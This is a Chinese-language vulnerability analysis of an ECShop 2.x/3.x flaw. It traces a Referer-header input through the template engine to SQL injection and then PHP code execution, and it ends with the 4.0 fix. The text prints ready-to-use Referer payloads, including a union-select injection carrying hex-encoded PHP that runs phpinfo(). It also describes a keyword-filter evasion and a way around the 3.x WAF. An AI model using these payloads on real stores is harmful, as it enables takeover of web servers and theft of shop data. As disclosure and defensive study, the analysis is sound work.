ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。
2018年6月13日,知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”防御拦截并捕获到一个针对某著名区块链交易所网站的攻击,通过分析,发现攻击者利用的正式ECShop 2.x版本的0day漏洞攻击。
本测试环境是2.7.3,理论上2.x的都存在该漏洞,3.x自带WAF(ecshop/includes/safety.php),对所有传入的参数都做了检测会触发SQL注入的检测规则(存在绕过)。
本环境下载地址:https://www.ecshop119.com/ecshopjc-125.html
一、SQL注入漏洞
ecshop/user.php
重点关注$back_act
,它是从HTTP_REFERER
获取的值,而HTTP_REFERER
是外部可控的
接着back_act
变量传递给assign
函数,接着寻找到ecshop/includes/cls_template.php中
注册变量,分析功能$this->_var[$tpl_var] = $value;
也就是back_act
变成了$this->_var[$back_act]=$back_act
继续回到user.php,调用完assign
后接着调用了display
,还是在cls_template.php跟进
从流程上来看,首先调用$this->fetch
来处理user_passport.dwt模板文件
user_passport.dwt是在user.php中写死的
1 | $smarty->assign('back_act', $back_act); |
在fetch
函数中调用了$this->make_compiled
来编译模板
make_compiled
函数也在cls_template.php中,功能是会将模板中的变量解析
user_passport.dwt部分内容
大致内容就是把上面assign
中注册到的变量$back_act
传递进去,解析完的变量返回到
display
函数中,$out
就是解析变量后的html内容。
接着回到display
函数中,判断$this->_echash
是否在$out
中,若在,使用$this->_echash
来分割内容,得到$k
然后交给insert_mod
处理。
_echash
是被定义好的,不会变,所以导致$val内容可以被控制
继续回到display
函数中,跟进$this->insert_mod
$val
传递给insert_mod
,先用|
分割,得到$fun
和$para
$para
进行反序列操作,$fun
和insert_字符串拼接
最后动态调用$fun($para)
,由此函数名后半部分可控,参数完全可控。
接下来寻找insert_开头的可利用函数,在ecshop/includes/lib_insert.php
有一个insert_ads
函数
1 | /** |
其中$arr
是可控的,并且会拼接到SQL语句中,这里就造成了SQL注入漏洞
回顾上面的流程,构造payload
echash+fun|serialize(array(“num”=>sqlpayload,”id”=>1))
1 | Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;} |
二、代码执行漏洞
继续跟进lib_insert.php中的insert_ads
函数
第215行中调用了fetch
方法,fetch
方法在user.php
中调用display
然后调用fetch
的时候传入的参数是user_passport.dwt
而在此处传入的参数是$position_style
向上溯源,发现是$row['position_style']
赋值而来,也就是SQL语句查询的结果,结果
上面这个SQL注入漏洞,SQL查询的结果可控,也就是$position_style
可控
但是要到$position_style = $row['position_style'];
需要满足$row['position_id'] != $arr['id']
,但是查询结果可控,arr['id']
同样可控。
之后$position_style
会先拼接'str:'
传入再fetch
函数
继续跟进fetch
看回前面的fetch($position_style)
前面拼接了'str:'
,所以strncmp($filename,'str:', 4) == 0
为真,紧接着就调用了危险函数$this->_eval
,这就是最终触发漏洞的点
再看$this->_eval
传参时需要经过$this->fetch_str
方法
接着跟进fetch_str
函数
第一个正则匹配了一些关键字,替换为空
1 | preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source); |
第二正则就是漏洞点
1 | preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source); |
正则匹配到的值会交给$this-select()
函数处理
跟进$this-select()
当传入的$tag
第一个值是$
,就会成为php标签包含的字符串,最终返回_eval()危险函数中
但是在返回前,又被$this->get_val
函数处理了,继续跟进get_val
函数
当传入的$val
中的值没有.$
时,调用了$this->make_var
跟进make_var
到这里就基本结束了,回到select函数中结合现在的语句
_var[' $val '];?>
要成功利用的话,$val
先要把['
闭合,从下往上构造
1 | abc'];echo phpinfo();// |
select
函数进入get_val
的条件是第一个字符必须是$
1 | $abc'];echo phpinfo();// |
接着要进入到select函数,需要被捕获
1 | {$abc'];echo phpinfo();//} |
这里出现的phpinfo()会被fetch_str函数第一个正则捕获,需要变换一下
1 | {$abc'];echo phpinfo/**/();//} |
到此为止就构造完成了
最后一步就是将构造好的代码通过SQL注入漏洞的方式传递给$position_style
这里可以用union select 来控制查询的结果,根据之前的流程
$row['position_id']
和$arr['id']
要相等
position_id是第二列,position_style是第九列
$arr['id']
传入 ' /*
$arr['num']
传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -
0x27202f2a
是' /*
的16进制值
0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d
是$row['position_id']
的值,上面构造的php代码的16进制值,也就是$position_style
最终payload
1 | Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca |
成功执行了phpinfo()
三、ECShop 3.x 绕过
上述的测试环境都是2.7.3的,理论上打2.x都没问题,而在3.x上是不行的,原因是3.x自带了个WAF(ecshop/includes/safety.php
),对所有传入的参数都做了检测,按照上面构造的 payload ,union select
会触发SQL注入的检测规则。
3.x版本的echash
是45ea207d7a2b68c49582d2d22adf953a
。 上面说了 insert_ads
函数存在注入,并且有两个可控点,$arr['id']
和$arr['num']
,可以将union select
通过两个参数传递进去,一个参数传递一个关键字,中间的可以使用/**/
注释掉,这样就不会触发WAF。
漏洞修复
在ECShop 4.0上这个漏洞就被修复了,ecshop4/ecshop/includes/lib_insert.php中将传递进来的$arr[id]
和$arr[num]
强制转换成整型,这样就没法利用这个漏洞了官网也有相关的(2.x和3.x)的补丁。